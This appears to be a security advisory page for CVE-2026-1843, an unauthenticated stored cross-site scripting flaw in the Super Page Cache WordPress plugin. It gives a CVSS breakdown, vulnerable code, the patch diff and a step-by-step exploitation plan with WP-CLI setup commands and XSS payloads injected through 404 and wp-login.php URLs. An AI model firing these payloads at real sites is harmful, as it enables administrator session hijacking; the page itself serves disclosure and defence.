CVE-2026-1843

Super Page Cache <= 5.2.2 - Unauthenticated Stored Cross-Site Scripting via Activity Log

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.2.3
Patched in
1d
Time to patch

Description

The Super Page Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Activity Log in all versions up to, and including, 5.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.2.2
PublishedFebruary 13, 2026
Last updatedFebruary 14, 2026

What Changed in the Fix

Changes introduced in v5.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan: CVE-2026-1843 ## 1. Vulnerability Summary The **Super Page Cache** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via its Activity Log feature. The vulnerability exists because the plugin records environment data (s…

Show full research plan

Detailed Exploitation Research Plan: CVE-2026-1843

1. Vulnerability Summary

The Super Page Cache plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) via its Activity Log feature. The vulnerability exists because the plugin records environment data (specifically the request URI) into an activity log without sufficient sanitization, and subsequently displays these logs in the administrative dashboard without proper output escaping.

An unauthenticated attacker can craft a malicious URL containing a script payload. When the plugin attempts to process or cache this URL (and fails or skips it due to specific rules), it logs the full URL (including the payload). When an administrator views the Activity Log, the script executes in their browser context, potentially leading to session hijacking or administrative account takeover.

2. Attack Vector Analysis

  • Endpoint: Any front-end URL (e.g., GET /some-page-or-404).
  • Vulnerable Parameter: $_SERVER['REQUEST_URI'].
  • Authentication: None required for injection. Administrator required to trigger the payload.
  • Preconditions:
    1. The "Purge HTML pages only" option (cf_purge_only_html) must be enabled to activate the SWCFPC_Html_Cache module.
    2. The Activity Log must be accessible and logging must be enabled (typically enabled when the dashboard is active).

3. Code Flow

  1. Entry Point: A request is made to the WordPress front-end.
  2. Hook Registration: In libs/html_cache.class.php, the actions() method registers a shutdown hook:
    add_action( 'shutdown', [ $this, 'add_current_url_to_cache' ], PHP_INT_MAX );
    
  3. Data Collection: The function add_current_url_to_cache() constructs the current URL:
    // libs/html_cache.class.php, Line 68
    $current_url = "{$parts['scheme']}://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
    
  4. Logging (The Sink): If the page results in a 404 (a common way to trigger a "caching failure" log), the following code executes:
    // libs/html_cache.class.php, Line 71
    if ( isset( $wp_query ) && function_exists( 'is_404' ) && is_404() ) {
        $this->main_instance->get_logger()->add_log( 
            'html_cache::add_current_url_to_cache', 
            "The URL {$current_url} cannot be cached because it returns 404.", 
            true 
        );
        return;
    }
    
  5. Storage: The add_log() method (in libs/logs.class.php) saves the string message containing the unsanitized $current_url to a log file or database.
  6. Rendering: When an admin accesses the dashboard, the plugin's React-based UI (found in assets/build/) fetches these logs and renders them. If the UI uses a property like dangerouslySetInnerHTML or does not escape the message string, the XSS triggers.

4. Nonce Acquisition Strategy

No nonce is required for the injection phase, as it occurs via a standard unauthenticated GET request to the site's front-end.

To configure the environment (Enable cf_purge_only_html), we will use WP-CLI to avoid manual GUI interactions.

  • The settings are stored in the swcfpc_settings option.
  • Key: cf_purge_only_html.

If the agent needs to fetch a nonce for manual dashboard interactions:

  1. Navigate to the Super Page Cache settings page.
  2. Use browser_eval to extract the nonce from the SPCDash object (standard for this plugin's redesigned dashboard):
    window.SPCDash?.nonce
    

5. Exploitation Strategy

Step 1: Preparation

Enable the necessary module via WP-CLI to ensure the logging path is hit.

wp eval "import_once(WP_PLUGIN_DIR . '/wp-cloudflare-page-cache/bootstrap.php'); \
         \SPC\Services\Settings_Store::get_instance()->set('cf_purge_only_html', 1); \
         \SPC\Services\Settings_Store::get_instance()->save();"

Step 2: Payload Injection

Send an unauthenticated request to a non-existent page with an XSS payload in the query string. This will trigger the is_404() logging block.

  • HTTP Request:
    GET /non-existent-xss-page?a=<script>alert(window.origin)</script> HTTP/1.1
    Host: localhost:8080
    
  • Tool: http_request.

Step 3: Trigger XSS

  1. Log in as Administrator.
  2. Navigate to the Super Page Cache Dashboard: /wp-admin/admin.php?page=wp-cloudflare-page-cache.
  3. Click on the Activity Log tab (or the "Logs" section).
  4. The payload will execute as the log entry "The URL http://... cannot be cached..." is rendered.

6. Test Data Setup

  1. Plugin Status: wp-cloudflare-page-cache must be active.
  2. Plugin Version: Verify version is <= 5.2.2.
  3. Settings:
    • cf_purge_only_html = 1.
    • cf_log_verbosity = 1 (or SWCFPC_LOGS_STANDARD_VERBOSITY).

7. Expected Results

  • The http_request to the 404 page should return a standard 404 response.
  • Checking the plugin's internal log file (usually wp-content/wp-cloudflare-super-page-cache/logs/spc.log or similar) should show the URL containing the payload.
  • Upon navigating to the dashboard Activity Log, a JavaScript alert displaying the site's origin should appear.

8. Verification Steps

  1. Check Logs via CLI:
    Confirm the entry exists in the log files.
    find /var/www/html/wp-content/ -name "*.log" | xargs grep "add_current_url_to_cache"
    
  2. Verify Setting:
    wp eval "echo \SPC\Services\Settings_Store::get_instance()->get('cf_purge_only_html');"
    
  3. Check UI Response:
    Use http_request as an admin to fetch the AJAX data for the activity log and look for the unescaped script tag in the JSON response.

9. Alternative Approaches

If is_404() does not trigger logging, use the "Caching Rules" logic. Visit a page that the plugin is configured not to cache (e.g., the login page if parameters are allowed, or a page excluded in settings).

  • In libs/html_cache.class.php, if $this->current_page_can_be_cached == false, it logs:
    The URL {$current_url} cannot be cached due to caching rules.
  • Inject the payload into the REQUEST_URI of a request to wp-login.php (which is excluded by default in swcfpc_is_this_page_cachable()).
    • Request: GET /wp-login.php?xss=<img src=x onerror=alert(1)> HTTP/1.1
Research Findings
Static analysis — not yet PoC-verified

Summary

The Super Page Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to the unsafe logging of request URIs and subsequent unescaped output in the admin dashboard's Activity Log. Unauthenticated attackers can inject scripts by visiting a non-existent page with a malicious payload in the URL, which are then executed when an administrator views the plugin's logs.

Vulnerable Code

// libs/html_cache.class.php

// Line 67
$parts       = parse_url( home_url() );
$current_url = "{$parts['scheme']}://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";

if ( isset( $wp_query ) && function_exists( 'is_404' ) && is_404() ) {
    $this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', "The URL {$current_url} cannot be cached because it returns 404.", true );

    return;
}

---

// libs/html_cache.class.php

// Line 142
$this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', "Created the file {$filename} for the URL {$current_url}", true );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-cloudflare-page-cache/5.2.2/assets/advanced-cache.php /home/deploy/wp-safety.org/data/plugin-versions/wp-cloudflare-page-cache/5.2.3/assets/advanced-cache.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-cloudflare-page-cache/5.2.2/assets/advanced-cache.php	2025-07-14 07:40:50.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-cloudflare-page-cache/5.2.3/assets/advanced-cache.php	2026-02-05 10:26:32.000000000 +0000
@@ -189,6 +189,14 @@
 
 		if ( ! file_exists( $cache_path . $cache_key ) || $swcfpc_objects['fallback_cache']->fallback_cache_is_expired_page( $cache_key ) ) {
 
+			// Bypass 4xx or 5xx HTTP status codes (security blocks, errors, etc.)
+			if ( SPC\Services\Settings_Store::get_instance()->get( SPC\Constants::SETTING_FALLBACK_CACHE_HTTP_RESPONSE_CODE ) ) {
+				$http_status = http_response_code();
+				if ( $http_status !== false && $http_status >= 400 && $http_status < 600 ) {
+					return $html;
+				}
+			}
+
 			if ( $sw_cloudflare_pagecache->get_single_config( 'cf_fallback_cache_ttl', 0 ) == 0 ) {
 				$ttl = 0;
 			} else {

Exploit Outline

The exploit targets the plugin's Activity Log, which records caching failures and events. 1. Precondition: The attacker identifies a site using Super Page Cache with the 'Purge HTML pages only' (cf_purge_only_html) option enabled. 2. Injection: An unauthenticated attacker sends a GET request to a URL that results in a 404 (or another cache-skipping rule), appending a script payload to the URI (e.g., `GET /non-existent-page?xss=<script>alert(document.cookie)</script>`). 3. Sink: The plugin captures the raw `$_SERVER['REQUEST_URI']` to construct a log entry stating the URL cannot be cached. This entry is stored in the plugin's logs. 4. Trigger: An administrator logs into the WordPress backend and navigates to the Super Page Cache settings page to view the Activity Log. 5. Execution: The React-based dashboard fetches the logs and renders the malicious string without proper output escaping, executing the script in the administrator's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.